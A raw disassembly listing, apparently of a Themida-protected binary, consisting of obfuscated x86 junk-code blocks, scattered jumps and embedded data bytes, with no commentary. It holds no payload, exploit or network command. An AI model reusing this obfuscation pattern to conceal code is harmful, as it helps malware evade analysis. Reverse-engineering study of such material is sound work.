mov edx, 54097045h
jmp loc_5420CB
; ---------------------------------------------------------------------------
dw 5155h
dd 2B243481h, 5D22865Bh, 5B2BF581h, 8F552286h, 242C8B02h
dd 9E17E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5403B2: ; CODE XREF: Themida_:0053B1A8j
inc ebx
or ebx, 100579DAh
xor ebx, 57241E4Fh
xor esi, ebx
pop ebx
dec esi
add esi, 7BAD7CA0h
neg esi
push ebp
jmp loc_541BAD
; ---------------------------------------------------------------------------
db 81h, 0EAh, 18h
dd 291BE70Dh, 18C281FAh, 0E91BE70Dh, 0FFFF691Bh
; ---------------------------------------------------------------------------
loc_5403E4: ; CODE XREF: Themida_:0053A788j
pop esp
add eax, 3AB878C4h
add eax, 2F926952h
add eax, ebx
sub eax, 2F926952h
sub eax, 3AB878C4h
push edi
mov edi, 6EA144CBh
sub eax, edi
jmp loc_53CC60
; ---------------------------------------------------------------------------
dd 0E95FFA01h, 0FFFF56B1h
; ---------------------------------------------------------------------------
loc_540410: ; CODE XREF: Themida_:0053CD6Fj
mov ebx, ecx
pop ecx
sub esp, 4
mov [esp], ebx
pop ebp
mov ebx, [esp]
add esp, 4
push esi
mov esi, 46274E8Bh
or esi, 509053CBh
not esi
and esi, 4491660Eh
sub esi, 4CCD5E2Ch
sub ebp, 6E001980h
jmp loc_540BAE
; ---------------------------------------------------------------------------
db 66h
dd 6866595Ah, 896638F0h, 14B7241Ch, 20E95166h, 58FFFFA2h
dd 5478BE56h, 56E9108Bh
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54046B: ; CODE XREF: Themida_:0053AC24j
pop eax
add [esp+4], esi
push dword ptr [esp]
pop esi
add esp, 4
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 6E5A22F2h
shl ebp, 2
xor ebp, 0DBE6AA31h
sub edx, ebp
pop ebp
mov eax, edx
jmp loc_53BB39
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 2424895Ch, 4BA52h, 54010000h, 0BCE90424h, 68FFFFF8h
dd 992h, 0E9240489h, 0FFFF5605h, 4C481h, 48F0000h, 34FF5C24h
dd 2434FF24h, 0E924048Bh, 0FFFFC125h, 0FF55E8E9h, 48B66FFh
dd 2586824h, 1C890000h, 56E38924h, 0D0BE9h, 0C8B6600h
dd 0AE95324h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5404F7: ; CODE XREF: Themida_:0053BBFFj
add edx, 0FA12EBCh
and edx, 33790C1Bh
jmp loc_53A51D
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFF75A6h, 683C77FFh, 458Ch, 50243489h
dd 791CF0B8h, 58C68931h, 4247401h, 2434FF5Eh, 0E3895358h
dd 4C381h, 51570000h, 4651C68h, 0E9C15969h, 0E9D18704h
dd 0FFFFC655h
; ---------------------------------------------------------------------------
loc_540548: ; CODE XREF: Themida_:005405F7j
add esi, edx
pop edx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_53E3F1
; ---------------------------------------------------------------------------
loc_540562: ; CODE XREF: Themida_:00540C9Fj
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
push edx
jmp loc_537F93
; ---------------------------------------------------------------------------
dd 0B951964Eh, 1BCB48C0h, 3A2BC181h, 0D9F724D4h, 0CB58C181h
dd 0C8014E89h, 44B95159h, 811AF910h, 721615E1h, 0D1C18163h
dd 81085B60h, 835347E9h, 0E9D1F75Dh, 0DA1h, 0E903EFC0h
dd 1240h, 8304C483h, 0EC8104C4h, 4, 54241C89h, 4C3815Bh
dd 0E9000000h, 0FFFFB8F6h, 2424D35Ch, 54E7E99Ch, 0E954FFFFh
dd 0FFFF70C8h
; ---------------------------------------------------------------------------
loc_5405E0: ; CODE XREF: Themida_:0053DA74j
neg ebp
add ebp, 2A5E29B6h
add ebp, 2A35F490h
add esi, ebp
pop ebp
push edx
mov edx, 4
jmp loc_540548
; ---------------------------------------------------------------------------
dd 2DE9DD01h, 0B5FFFFCBh, 0E9EB8880h, 0FFFF6028h, 240C8B66h
dd 0FFC470E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540615: ; CODE XREF: Themida_:0053B333j
add esp, 4
rep movsd
jmp loc_53821A
; ---------------------------------------------------------------------------
aUfx db '(ãfX',0
db 0F3h
dd 663CC380h, 0E950665Ah, 0FFFF884Fh, 4EC81h, 2C890000h
dd 0EC04E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540642: ; CODE XREF: Themida_:00538A38j
push ebp
mov ebp, 680529ACh
push 6645577Dh
pop ebx
xor ebx, ebp
pop ebp
shl ebx, 7
sub ebx, 203F687Ch
add eax, ebx
pop ebx
xchg eax, [esp]
jmp loc_53EBA9
; ---------------------------------------------------------------------------
loc_540665: ; CODE XREF: Themida_:0053E9FDj
push ebp
mov ebp, 4
mov ecx, ebp
pop ebp
jmp loc_541E23
; ---------------------------------------------------------------------------
loc_540673: ; CODE XREF: Themida_:0053DD69j
add ebp, 0CDEF82CEh
sub ecx, ebp
jmp loc_539521
; ---------------------------------------------------------------------------
dd 4C681h, 0C6810000h, 4, 8B243487h, 2AE92424h, 29FFFF54h
dd 0D149E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54069E: ; CODE XREF: Themida_:0053DC77j
add ebp, 43B52BF1h
push esi
mov esi, 77F3F078h
jmp loc_539AEC
; ---------------------------------------------------------------------------
loc_5406AF: ; CODE XREF: Themida_:005421ADj
mov [esp], ebp
push edi
mov edi, 800h
sub esp, 4
jmp loc_5408F3
; ---------------------------------------------------------------------------
loc_5406C3: ; CODE XREF: Themida_:00540A18j
xchg esi, edi
xchg edi, [esp]
pop ecx
push ebp
push eax
mov eax, 7DF56FB2h
jmp loc_5422A3
; ---------------------------------------------------------------------------
loc_5406D5: ; CODE XREF: Themida_:0053986Ej
mov eax, [esp]
push eax
jmp loc_540958
; ---------------------------------------------------------------------------
dw 8058h
dd 0F30041F6h, 0E924148Bh, 0FFFFE8CCh, 552EEA81h, 3AE97223h
dd 57FFFF77h, 791A6856h, 6BE94E5Dh, 89000012h, 9668240Ch
dd 0E9122957h, 0FFFFAC57h
; ---------------------------------------------------------------------------
loc_540710: ; CODE XREF: Themida_:0053DF17j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5417D8
; ---------------------------------------------------------------------------
align 10h
dd 240C8BC8h, 6604C483h, 83241C8Bh, 0BDE902C4h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540733: ; CODE XREF: Themida_:005388EAj
add ecx, 9AE7D633h
and ebx, ecx
mov ecx, [esp]
add esp, 4
or ebx, ebx
jmp loc_538788
; ---------------------------------------------------------------------------
loc_54074B: ; CODE XREF: Themida_:0053F986j
mov ebx, [esp]
add esp, 4
pop eax
push ebx
mov ebx, 147015F3h
sub eax, ebx
pop ebx
push ecx
push 1D4B60E8h
jmp loc_536CE6
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
aUhj? db 'Uhj?',0
align 2
dw 8F54h
dd 4832404h, 75E90424h
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54077F: ; CODE XREF: Themida_:005411B2j
mov esp, [esp]
add esi, 4
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_53920E
; ---------------------------------------------------------------------------
dd 0B252CBFEh, 3E2C0E4h, 0C001CA80h, 0C28006E2h, 6BF280E8h
dd 805AD328h, 0DBF67FCBh, 0FFCF47E9h, 5D5455FFh, 236668h
dd 243C8900h, 4BFh, 31BE5600h, 0F724C248h, 6FF681DEh, 1AF3696h
dd 0C5815EF5h, 694E6C49h, 0ED81FD01h, 694E6C49h, 21A0ED81h
dd 3C8B740Bh, 4C48324h, 4C581h, 0E9550000h, 11A6h, 8868C280h
dd 0D7345AD0h, 0FE14B151h, 8E9C0C1h, 0D2F180h, 240C8BCBh
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 21E9240Ch
db 68h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540833: ; CODE XREF: Themida_:005397C8j
mov [esp], ebx
mov ebx, esp
push edi
sub esp, 4
mov [esp], edx
jmp loc_5402F2
; ---------------------------------------------------------------------------
db 56h
dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h, 76EB6824h
dd 7EE928E4h, 0B9FFFFAEh, 4, 726FEB81h, 0C381376Ch, 23525403h
dd 0FFC588E9h, 81D301FFh, 0CB3FD1EBh, 84E9520Dh, 29FFFFCDh
dd 0BD555FF8h, 0D88F7C78h, 295DE831h, 0D90158C3h, 240C875Bh
dd 2404205Ch, 5217E99Ch, 0E589FFFFh, 4C581h, 0BF570000h
dd 60A24014h, 8959E94Fh, 0B151FFFFh, 0D7B5514Ch, 8008EDC0h
dd 0CD8060C5h, 8EDC0C7h, 32B65266h, 5A66F530h, 3059EA88h
dd 0C28059CAh, 80E2D001h, 1AE992CAh
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5408EB: ; CODE XREF: Themida_:0053F4AFj
push ebx
mov ebx, esp
jmp loc_53847D
; ---------------------------------------------------------------------------
loc_5408F3: ; CODE XREF: Themida_:005406BEj
mov [esp], edi
sub dword ptr [esp], 5AAC0B2Ch
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
add esp, 4
add ebp, 5AAC0B2Ch
pop edi
and eax, ebp
jmp loc_538D34
; ---------------------------------------------------------------------------
dd 0E924048Fh, 0FFFF9AC1h, 0FF5194E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54092D: ; CODE XREF: Themida_:0053F93Fj
push esi
mov esi, 4B36599Fh
mov ebx, esi
pop esi
shl ebx, 2
neg ebx
xchg edi, ebx
not edi
xchg edi, ebx
inc ebx
inc ebx
neg ebx
add ebx, 31DEBB3Ah
mov edi, ebx
jmp loc_53E7DE
; ---------------------------------------------------------------------------
dw 0E952h
dd 0FFFF8F6Ch
; ---------------------------------------------------------------------------
loc_540958: ; CODE XREF: Themida_:005406D9j
mov eax, esp
add eax, 4
push edi
mov edi, 16D13C36h
push edx
mov edx, 292E2E69h
push ebx
mov ebx, 4A1808A9h
and edx, ebx
pop ebx
push ebp
push edi
mov edi, 2DCD1B00h
jmp loc_53F37A
; ---------------------------------------------------------------------------
dd 7059C181h, 0CE01DCB9h, 81240C8Bh, 4C4h, 5DEB6800h, 0A6E90000h
dd 0FFFFFFAFh, 835F2434h, 1AE904C4h, 81FFFF51h, 0CF109AE5h
dd 0D2E95630h, 81FFFF54h, 4EFh, 9253E900h, 8147FFFFh, 0C7D96CEFh
dd 5FF98901h, 5211E981h, 0E953556Fh, 0FFFF5B14h, 8B24048Fh
dd 0D3662424h, 0E99C242Ch, 0FFFF50DDh, 7C7815Bh, 0C12B6268h
dd 0E95507EFh, 0FFFFE4A1h
; ---------------------------------------------------------------------------
loc_5409F4: ; CODE XREF: Themida_:00537A1Cj
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_53CC16
; ---------------------------------------------------------------------------
db 28h
dd 8B59E9F8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540A0A: ; CODE XREF: Themida_:00541CC2j
xor [esp+4], ebp
pop ebp
jmp loc_53DFFA
; ---------------------------------------------------------------------------
loc_540A14: ; CODE XREF: Themida_:0053AE36j
xchg esi, edi
not esi
jmp loc_5406C3
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0FF24248Bh, 34FF2434h, 89535824h, 4ABA52E3h, 817C0D4Dh
dd 977397C2h, 26CA8117h, 0C14AF80Ah, 0F28103EAh, 43725484h
dd 0CDDCBB53h, 0DA31580Dh, 8BD3015Bh, 0EEE92414h, 35FFFF67h
dd 960F81F4h, 194E9h, 0E9D12900h, 0FFFF8C35h
; ---------------------------------------------------------------------------
loc_540A6C: ; CODE XREF: Themida_:0053DBACj
xor ecx, 33F8753Ah
jmp loc_53EDAE
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 4C18100h, 57000000h, 4BFh, 5FF90100h, 8B240C87h
dd 45682424h, 8900004Eh, 0B2BD242Ch, 0C10D575Dh, 0D5F707E5h
dd 4223C581h, 0E8291348h, 0AFBD555Dh, 0F7060026h, 21ED81DDh
dd 0E99361B9h, 0FFFF9C6Ah, 0FAE9028Fh, 5CFFFF4Fh, 0FF4FF4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540ACD: ; CODE XREF: Themida_:0053DCB6j
xor esi, 16EB4D19h
add eax, esi
pop esi
push ebp
jmp loc_53836D
; ---------------------------------------------------------------------------
dd 0C4FEDCF6h, 0FE08E4C0h, 45C480C4h, 3058E588h, 0D08BE9ECh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540AF2: ; CODE XREF: Themida_:0053A028j
mov [esp], edx
push eax
jmp loc_535C21
; ---------------------------------------------------------------------------
db 0FFh
dd 50592434h, 405E089h, 83000000h, 48704E8h, 0A3E95C24h
dd 49FFFFCEh, 0DB1CF181h, 0CF013427h, 4C78159h, 87000000h
dd 0E95C243Ch, 0FFFFCBADh
; ---------------------------------------------------------------------------
loc_540B2C: ; CODE XREF: Themida_:00542108j
xor eax, 22880514h
mov edx, eax
push dword ptr [esp]
pop eax
jmp loc_53C6C6
; ---------------------------------------------------------------------------
dd 0B7535B66h, 54F653DFh, 0E95B0124h, 0FFFF6A17h, 241C8B54h
dd 8904EC83h, 0E189240Ch, 0FFE3E5E9h, 4C483FFh, 81E38953h
dd 4C3h, 4C38300h, 5C241C87h, 2474FF57h, 48F5F04h, 0C1E95C24h
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540B7F: ; CODE XREF: Themida_:00541B77j
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push ecx
push ebx
jmp loc_53E2D4
; ---------------------------------------------------------------------------
loc_540BA4: ; CODE XREF: Themida_:0053B153j
mov edi, 3D3015C8h
jmp loc_541CB0
; ---------------------------------------------------------------------------
loc_540BAE: ; CODE XREF: Themida_:00540446j
add ebp, esi
jmp loc_53FEAD
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 8C1DCEEBh, 68C2E916h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540BC6: ; CODE XREF: Themida_:00538C6Cj
push edi
jmp loc_53EC02
; ---------------------------------------------------------------------------
loc_540BCC: ; CODE XREF: Themida_:0053F952j
pop ebx
mov ecx, 0C8F2E85Fh
push ebp
sub esp, 4
mov [esp], ecx
jmp loc_53A89C
; ---------------------------------------------------------------------------
loc_540BDE: ; CODE XREF: Themida_:00541B67j
xchg edx, [esp]
pop esp
mov [esp], esi
jmp loc_536CF9
; ---------------------------------------------------------------------------
dw 5155h
dd 0DC3C68B9h, 59CD8920h, 0FFDDE5E9h, 8BC631FFh, 0C4832404h
dd 81DEF704h, 0E03AB1E6h, 0CBA9E92Ah, 0E381FFFFh, 47D4739Eh
dd 0FFFD39E9h, 4C381FFh, 0E9000000h, 0DDCh, 24048B66h
dd 9BBE9h, 24148B00h, 81E28952h, 4C2h, 4C28300h, 0FFE846E9h
dd 4ED6F7FFh, 0F681E6D1h, 0F5C4D831h, 0C15EF701h, 0B95106EFh
dd 62E71493h, 534CE181h, 0E1C175B3h, 81D1F704h, 0ADCB57E9h
dd 0E9CF01F8h, 0FFFFC3A5h, 84E9535Ah, 0C1FFFF9Ah, 0F18108E9h
dd 27F035BEh, 0C8E9CF31h, 0FFFFFFD4h, 669D1C77h, 241CD359h
dd 4E2BE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540C96: ; CODE XREF: Themida_:0053FC9Cj
pop edi
xor ebx, 3080h
and ecx, ebx
jmp loc_540562
; ---------------------------------------------------------------------------
dd 42474FFh, 0FFC848E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540CAD: ; CODE XREF: Themida_:00538DB6j
dec ah
xor ah, 39h
sub bl, ah
pop eax
jmp loc_53A613
; ---------------------------------------------------------------------------
dw 5A66h
dd 0B652505Bh, 0FED6F62Eh, 0D0DEF6C6h, 80D6F6EEh, 0F0880BEEh
dd 0C20045Ah, 0E9D8F6D0h, 0FFFFA0AAh
; ---------------------------------------------------------------------------
loc_540CDC: ; CODE XREF: Themida_:0054137Dj
pop esi
jmp loc_5390FD
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24248904h, 0FF79BFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540CED: ; CODE XREF: Themida_:00536555j
push esi
mov esi, 2606189Dh
sub dword ptr [esp+4], 4C0D1BD9h
sub [esp+4], esi
add dword ptr [esp+4], 4C0D1BD9h
pop esi
pop ecx
add ecx, 2606189Dh
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_54111E
; ---------------------------------------------------------------------------
db 87h
dd 0E4E9241Ch, 5B00000Fh, 0FFD5CBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540D31: ; CODE XREF: Themida_:0053EDAFj
or ebx, ecx
mov ecx, [esp]
add esp, 4
shl ebx, 7
inc ebx
jmp loc_53C0BF
; ---------------------------------------------------------------------------
db 88h, 0FCh, 0E9h
dd 0FFFFF266h, 1512C781h, 0CBE93866h, 0BDFFFFBBh, 2FF73A01h
dd 2C8BE831h, 4C48324h, 0FF4D58E9h, 0E9F789FFh, 0FFFF6502h
dd 0BE243489h, 4, 4247401h, 0E924348Bh, 0FFFFAA5Eh, 348B5456h
dd 4C48324h, 4C681h, 52500000h, 2BAh, 0DFADE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540D9E: ; CODE XREF: Themida_:0053F543j
mov edi, esp
push ebx
mov ebx, 4
sub edi, 221839BCh
jmp loc_53B50D
; ---------------------------------------------------------------------------
loc_540DB1: ; CODE XREF: Themida_:00535BF4j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_537B7C
; ---------------------------------------------------------------------------
loc_540DBF: ; CODE XREF: Themida_:0053D9B1j
sub dword ptr [esp], 234722C8h
pop ecx
jmp loc_53B32A
; ---------------------------------------------------------------------------
dd 56243C89h, 2BEh, 0FF8FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540DDA: ; CODE XREF: Themida_:0053DDAFj
push ebx
not dword ptr [esp]
pop ebx
xchg ebx, esi
push edi
mov edi, 43307A82h
add esi, 1B112CDEh
add esi, edi
sub esi, 1B112CDEh
pop edi
add edx, esi
jmp loc_53E0EB
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0A0h
dd 5026DE0Ah, 824863B8h, 4EA20D73h, 0D0F728FBh, 0FDE9D0F7h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540E17: ; CODE XREF: Themida_:00539B98j
add ebp, 4
sub ebp, 4
jmp loc_53CA42
; ---------------------------------------------------------------------------
db 89h, 0EBh, 5Dh
dd 0FFA843E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540E2D: ; CODE XREF: Themida_:00538C9Dj
dec bl
add bl, 0E6h
xor bl, 5Fh
jmp loc_53BDB5
; ---------------------------------------------------------------------------
dw 0C146h
dd 0CE8105EEh, 77DA04BFh, 0FD3AC681h, 432DF6F7h, 0E902F00Fh
dd 0FFFFD940h, 0AF045A66h, 0E9DDB353h, 0FFFF74FCh, 32E9CF01h
dd 58FFFFBCh, 0FF5D94E9h, 5BDE29FFh, 4E01EE83h, 81D6F74Eh
dd 7E87C0F6h, 0AC8BE9D7h, 0C481FFFFh, 4, 0E9241C87h, 0FFFF9144h
dd 207F83ADh, 0F357E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540E9A: ; CODE XREF: Themida_:0053E3C0j
pop esi
pop ecx
push ebx
mov ebx, 6E6083h
add esi, ebx
pop ebx
push esi
mov esi, esp
jmp loc_536F27
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0ACh
dd 0C174F875h, 0E98106E1h, 6D5B0B20h, 8105E1C1h, 0F4B35C1h
dd 31F18149h, 29F9B067h, 0FF5059C8h, 58042474h, 5C24048Fh
dd 51241C89h, 7B225F68h, 0D1F75961h, 0C107E1C1h, 0D9E905E9h
dd 81FFFF81h, 0EC79A6CEh, 33EE8175h, 462F2051h, 1B1EE81h
dd 0C1E92B00h, 29FFFFC6h, 0D3015FFAh, 81FB015Ah, 4130BEBh
dd 0B056E97Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540F1A: ; CODE XREF: Themida_:00538310j
xor edi, eax
pop eax
jmp loc_538F18
; ---------------------------------------------------------------------------
dw 0C0B9h
dd 0E96F2F05h, 0FFFF85CFh
; ---------------------------------------------------------------------------
loc_540F2C: ; CODE XREF: Themida_:00538C18j
mov ecx, esp
push esi
mov esi, 674B2F08h
xor esi, 89E5A2Ch
sub esi, 26854B7Ah
push eax
mov eax, 22FD3D57h
and esi, eax
pop eax
jmp loc_53CBD1
; ---------------------------------------------------------------------------
loc_540F4E: ; CODE XREF: Themida_:0053CFF0j
pop ebx
jmp loc_541546
; ---------------------------------------------------------------------------
dd 8102EDC1h, 0F52781CDh, 19F5815Bh, 8114A865h, 0F97B81EDh
dd 5DEE2914h, 5EF5015Bh, 0FFD88FE9h, 5FFE89FFh, 348BF101h
dd 6AE95124h, 50FFFF98h, 0E188FC88h, 5AD78858h, 0CF86C9FEh
dd 2815EF80h, 0B3535BF8h, 91C38046h, 7ED16866h, 0FFACDBE9h
dd 0E9F089FFh, 0FFFF96DBh, 8B241487h, 0CE92424h, 0BD000007h
dd 40C5295Dh, 815DEB29h, 1EBh, 2FCB8100h, 812C693Ch, 69BE2BEBh
dd 8BDF013Eh, 0C483241Ch, 243C8704h, 0FF74D7E9h, 5BDA01FFh
dd 0E9241487h, 0FFFF8AE0h, 0E95EF101h, 0FFFFC3BEh, 88240C89h
dd 8BEB88C5h, 78E9240Ch, 81FFFF68h, 4C4h, 7FE95F00h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54100F: ; CODE XREF: Themida_:00539767j
sub esp, 4
mov [esp], edi
jmp loc_53BBE7
; ---------------------------------------------------------------------------
loc_54101D: ; CODE XREF: Themida_:0053A4BDj
push esi
mov esi, 7D182006h
push ebp
mov ebp, 0F956BD3h
and esi, ebp
pop ebp
shl esi, 7
add esi, 0E11E5C38h
jmp loc_5393B6
; ---------------------------------------------------------------------------
dw 0BD55h
dd 3D574E2Ah, 0FFACF2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541045: ; CODE XREF: Themida_:0053EA23j
mov ebp, esp
jmp loc_53A38D
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFFDF02h, 210BF57h, 0E95100FEh, 0FFFF7A65h
dd 83241C8Bh, 0B95104C4h, 6A4143CCh, 59E9D9F7h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541073: ; CODE XREF: Themida_:005402EDj
sub ebx, 60702FD4h
pop ecx
and ecx, ebx
pop ebx
shr ecx, 0Bh
push ebx
xor dword ptr [esp], 5EDE01B1h
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push 59E33F69h
pop ebx
push ecx
push edi
push 52C73582h
pop edi
xor edi, 1484729Eh
neg edi
add edi, 504291BCh
mov ecx, edi
pop edi
and ecx, 749F1EF5h
or ecx, 1A8578Ah
shl ecx, 3
add ecx, 2D8D620Ah
push eax
mov eax, 1D6F30BBh
not eax
or eax, 43C2DA4h
not eax
not eax
add eax, 7DBB4054h
jmp loc_53919D
; ---------------------------------------------------------------------------
align 4
dd 241C8BDDh, 0E904C483h, 0FFFFE076h
; ---------------------------------------------------------------------------
loc_5410F0: ; CODE XREF: Themida_:00541741j
mov eax, [esp]
add esp, 4
sub ebp, 4
jmp loc_5422DB
; ---------------------------------------------------------------------------
dw 8F66h
dd 49BBE902h, 1C8BFFFFh, 4C48324h, 2BD55h, 0EF290000h
dd 243C875Dh, 9CEDE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54111E: ; CODE XREF: Themida_:00540D1Ej
push ebx
push edi
push ebp
push 202D3458h
pop ebp
mov edi, ebp
mov ebp, [esp]
add esp, 4
push edi
add dword ptr [esp], 747E1D20h
jmp loc_5373F5
; ---------------------------------------------------------------------------
loc_54113C: ; CODE XREF: Themida_:0053887Fj
dec ebp
neg ebp
dec ebp
add ebp, 139B4BD8h
jmp loc_53EAAC
; ---------------------------------------------------------------------------
db 68h
dd 2833135Ch, 81241C8Bh, 4C4h, 4DE38100h, 0C10D1D72h, 0C38107E3h
dd 0ABBD9788h, 45E9D989h
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54116F: ; CODE XREF: Themida_:0053B166j
add esi, edx
pop edx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
or eax, eax
jnz loc_537795
mov edx, 10222495h
shr edx, 2
dec edx
push eax
mov eax, 3F615245h
dec eax
push ebp
mov ebp, 441A6AE2h
jmp loc_53C9BE
; ---------------------------------------------------------------------------
loc_5411A1: ; CODE XREF: Themida_:0053C822j
push edx
mov dl, 0BDh
jmp loc_53D940
; ---------------------------------------------------------------------------
loc_5411A9: ; CODE XREF: Themida_:00537732j
mov ecx, ebx
pop ebx
add ebp, ecx
pop ecx
xchg ebp, [esp]
jmp loc_54077F
; ---------------------------------------------------------------------------
db 0F7h
dd 68F181D9h, 1188010h, 240C8BCAh, 0E904C483h, 22Bh
; ---------------------------------------------------------------------------
loc_5411CC: ; CODE XREF: Themida_:0053E531j
push edx
mov edx, 15620E41h
shr edx, 3
add edx, 118EE6D7h
add ecx, edx
pop edx
jmp loc_535BAE
; ---------------------------------------------------------------------------
db 0B9h
dd 55254D6Ch, 8159CE01h, 470543EEh, 0E9D6F773h, 0FFFF6273h
dd 0C681E689h, 4, 8704EE83h, 248B2434h, 240C8924h, 8B7B1FB9h
dd 0D9F1810Ch, 414DDA10h, 5125BD55h, 0ED8103E6h, 515764DBh
dd 4504EDC1h, 8302ED81h, 0E931C9D7h, 0ECC1E95Dh, 0EC83FFFFh
dd 24048904h, 5AD2BE56h, 0E9517BDCh, 0FFFFFF9Bh, 0B06EA6BDh
dd 2EDC129h, 0FF7FD6E9h, 0D82966FFh, 0DEBB6653h, 0CB816616h
dd 0E3E94913h, 52FFFF5Bh, 8C495568h, 24148B0Bh, 0FF634DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541275: ; CODE XREF: Themida_:005376A3j
sub ebp, 0FF74C17Fh
and eax, ebp
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
or edx, eax
jmp loc_539188
; ---------------------------------------------------------------------------
db 66h
dd 53240C8Bh, 241C8B54h, 5104C483h, 0FFAEFBE9h, 240483FFh
dd 24048B04h, 5704C483h, 4BFh, 97B2D00h, 0F80128CBh, 0CB097B05h
dd 0D685F28h, 8900003Bh, 0D6B9240Ch, 5178C939h, 592414F7h
dd 0E903E9C1h, 0FD1h, 4C581h, 0C5830000h, 242C8704h, 86DDE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5412F2: ; CODE XREF: Themida_:00538CC9j
and ecx, ebp
pop ebp
dec ecx
shl ecx, 4
push edi
mov edi, 25300290h
xor ecx, edi
pop edi
and eax, ecx
pop ecx
sub esp, 4
mov [esp], ebx
push eax
mov eax, 1Ch
jmp loc_539873
; ---------------------------------------------------------------------------
dw 895Ch
dd 2B68241Ch, 8900005Fh, 4812424h, 424h, 241C8B00h, 0FF7E25E9h
dd 60559FFh, 0E93D1567h, 0FFFFC5FDh, 505BFE88h, 0E1E95366h
dd 5BFFFFB9h, 0FF77E6E9h, 0ABF181FFh, 31749748h, 0C30159C8h
dd 7F696858h, 0C890000h, 2B924h, 0CB010000h, 241C3359h
dd 0FF558EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541371: ; CODE XREF: Themida_:0053C6B0j
push 4336h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_540CDC
; ---------------------------------------------------------------------------
loc_541382: ; CODE XREF: Themida_:0053D344j
pop ecx
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_53F6E0
; ---------------------------------------------------------------------------
dw 8B66h
dd 90E92414h
db 4Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54139F: ; CODE XREF: Themida_:0053F6E3j
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebx
pop esi
push esi
pop eax
pop esi
push 154Ch
mov [esp], ebp
mov ebp, 0FB0371Ah
push edx
jmp loc_53E11A
; ---------------------------------------------------------------------------
dd 8B241433h, 89662424h, 0F66240Ch, 5166C8B6h, 4B52E99Ch
dd 0E952FFFFh, 1CEh, 0E9240489h, 0FFFF69E6h, 5B91EA81h
dd 0FDE92697h, 50FFFFC5h, 4FE9E089h, 29FFFF9Ah, 0EDEA81F2h
dd 5E017002h, 2474FF52h, 48F5A04h, 24248B24h, 240C8966h
dd 0C8B60F66h, 0E99C5166h, 0FFFF46A5h
; ---------------------------------------------------------------------------
loc_54141C: ; CODE XREF: Themida_:0053C5C5j
push 7BE2h
mov [esp], edx
mov edx, 51E793Dh
or eax, edx
jmp loc_53C55A
; ---------------------------------------------------------------------------
dd 0C2815A54h, 4, 84BB5356h, 0BE588345h, 0A77CBA80h, 295BDE01h
dd 24348BF2h, 0FF5A91E9h, 81D7F7FFh, 6564DBEFh, 5FFE019Ah
